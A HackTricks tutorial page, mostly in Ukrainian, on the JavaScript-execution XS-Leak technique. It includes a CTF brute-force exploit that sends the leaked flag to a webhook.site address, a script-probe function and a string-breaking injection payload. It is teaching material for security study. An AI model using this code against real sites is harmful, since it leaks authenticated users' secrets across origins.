JavaScript Execution XS Leak

Tip

Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).

Підтримайте HackTricks

Цей XS-Search primitive перетворює те, чи cross-origin response виконується як JavaScript, на Boolean oracle.

Звичайна схема така:

  • Positive state: target повертає text, контрольований attacker, або sensitive content, який не виконується як attacker JavaScript.
  • Negative state: target відображає text, контрольований attacker, у місце, яке parsed як valid JavaScript, тож attacker може примусити callback, такий як window.parent.foo().
  • Leak: завантажити target через класичний <script src> і спостерігати, чи спрацьовує callback.

По суті, це execution oracle, а не timing oracle. Єдине, що потрібно attacker, — це cross-origin script inclusion, яка поводиться по-різному залежно від secret-dependent branch.

Для загального огляду XS-Leaks дивіться:

HackTricks

When This Works

Ця technique практична, коли всі такі умови виконуються:

  • Victim authenticated до target origin.
  • Attacker може змусити victim browser request classic script з target origin.
  • Одна branch повертає content, яке є valid attacker-controlled JavaScript.
  • Інша branch повертає content, яке не виконує attacker callback.

На практиці найпростіші випадки — search/debug endpoints, які:

  • повертають attacker-controlled text, коли guess неправильний
  • повертають інше body, коли guess правильний
  • дають attacker змогу вибрати parameter, наприклад callback, hint, msg, або reflected prefix/suffix

Basic Example

Server-side code, яке спробує ${guess} як flag prefix:

app.get("/guessing", function (req, res) {
let guess = req.query.guess
let page = `<html>
<head>
<script>
function foo() {
// If not the flag this will be executed
window.parent.foo()
}
</script>
<script src="https://axol.space/search?query=${guess}&hint=foo()"></script>
</head>
<p>hello2</p>
</html>`
res.send(page)
})

Головна сторінка, яка генерує iframes до попередньої /guessing сторінки, щоб перевірити кожну можливість:

<html>
<head>
<script>
let candidateIsGood = false
let candidate = ""
let flag = "bi0sctf{"
let guessIndex = -1

let flagChars =
"_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ"

// this will get called from our iframe IF the candidate is WRONG
function foo() {
candidateIsGood = false
}

timerId = setInterval(() => {
if (candidateIsGood) {
flag = candidate
guessIndex = -1
fetch("https://webhook.site/<yours-goes-here>?flag=" + flag)
}

// Start with true and change to false if the guess is wrong
candidateIsGood = true
guessIndex++
if (guessIndex >= flagChars.length) {
fetch("https://webhook.site/<yours-goes-here>")
return
}
let guess = flagChars[guessIndex]
candidate = flag + guess
let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(
candidate
)}"></iframe>`
hack.innerHTML = iframe
}, 500)
</script>
</head>
<p>hello</p>
<div id="hack"></div>
</html>

Логіка атакувальника така:

  1. Почати кожен candidate як “good”.
  2. Завантажити цільову відповідь як script.
  3. Якщо відповідь виконує window.parent.foo(), позначити candidate як wrong.
  4. Якщо жоден callback не спрацює, залишити candidate і продовжити brute-forcing.

Minimal Probe Pattern

У багатьох реальних targets iframe не потрібен. Достатньо прямого script inclusion:

<script>
let hit = true
function miss() {
hit = false
}

function probe(url) {
return new Promise((resolve) => {
hit = true
const s = document.createElement("script")
s.src = url
s.onload = () => resolve(hit)
s.onerror = () => resolve(false)
document.head.appendChild(s)
})
}
</script>

Якщо гілка “wrong guess” відображає miss(), тоді:

  • probe(...) === false означає, що callback виконався або завантаження не вдалося
  • probe(...) === true означає, що script завантажився без запуску callback атакувальника

Для надійності використовуйте fresh script element per probe і додавайте cache-buster, наприклад ?r=${crypto.randomUUID()}.

Modern Caveats

It must be a classic script

Цей primitive покладається на те, що browser отримує ресурс як classic script. Звичайний <script src=...> без crossorigin завантажується в режимі no-cors, і саме тому цей старий pattern досі корисний cross-origin.

Не переходьте на type="module" для цієї техніки:

  • cross-origin module scripts require CORS
  • багато target, які можна включити як classic scripts, просто не пройдуть як modules

MIME type and nosniff decide whether the payload executes

Сучасні browser суворіші за старі writeups. Якщо target встановлює X-Content-Type-Options: nosniff, browser заблокує script response, MIME type якого не є JavaScript MIME type.

Це означає, що цей oracle часто залежить від:

  • того, чи повертає target application/javascript / text/javascript
  • того, чи повертає target text/plain, text/html або JSON
  • того, чи присутній nosniff

Ось чому деякі endpoints дають leak лише в одній гілці: одну response приймають як script, тоді як іншу гілку блокують або парсять інакше.

CORB can change the observable result

CORB додає ще одну гілку для аналізу. Якщо response вважається CORB-protected, Chromium може перетворити його на empty valid script response замість того, щоб показати parse failure. Тож для деяких endpoints:

  • один state запускає normal script parse / callback
  • інший state стає empty script і спрацьовує лише onload

Це все ще корисний oracle, але сигнал тепер — callback vs no callback або onload vs onerror, а не просто “JavaScript executed or not”.

CSP can kill the attacker-controlled branch

Strict CSP на target response може зламати цей primitive, коли відображена гілка більше не є executable JavaScript. Public XS-Leak challenge writeups з 2022 до 2024 року неодноразово спираються на цю деталь:

  • script-src 'none' може змусити attacker відмовитися від direct execution oracle
  • CSP/SRI/CSP-report interactions все ще можуть створювати інші leak oracles, але вони належать до інших pages/techniques

Тож коли очевидний callback trick не працює, перевірте response headers перед тим, як відкидати endpoint.

Useful Variants

Callback-parameter endpoints

Найзручніший target — це JSONP-style або debug endpoint, який приймає parameter на кшталт:

  • callback=...
  • cb=...
  • jsonp=...
  • hint=...
  • msg=...

Якщо гілка “miss” відображає це значення дослівно в executable JavaScript, а гілка “hit” повертає інший content, ви отримуєте direct Boolean oracle без timing measurement.

Syntax-preserving prefixes and suffixes

Іноді ви не можете повністю керувати response body, але все одно можете змусити negative branch виконатися:

  • закрити поточний string або function argument
  • inject callback
  • закоментувати trailing bytes

Наприклад, відображена гілка на кшталт:

showResult("<attacker>");

може часто перетворюватися на:

showResult("");window.parent.foo();//");

Якщо позитивна гілка не відображає той payload, callback стає oracle.

Combining with event-based oracles

If the endpoint is unstable across browsers, mix the execution oracle with the generic script load events already covered in the section index:

  • callback fired
  • onload
  • onerror

This is especially useful when one branch yields valid JavaScript and another branch yields blocked MIME / CORB / CSP behavior.

Related pages:

Practical Notes

  • Prefer one bit per request and keep the callback side effect simple.
  • If you probe many candidates, remove previously inserted <script> elements or isolate each attempt in a fresh iframe.
  • Cache and service worker behavior can poison the oracle; use cache-busting.
  • This primitive is strongest when the negative branch is fully attacker-controlled JavaScript. If you only get partial reflection, the exploit becomes a payload-shaping problem rather than an XS-Search problem.

References

Tip

Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).

Підтримайте HackTricks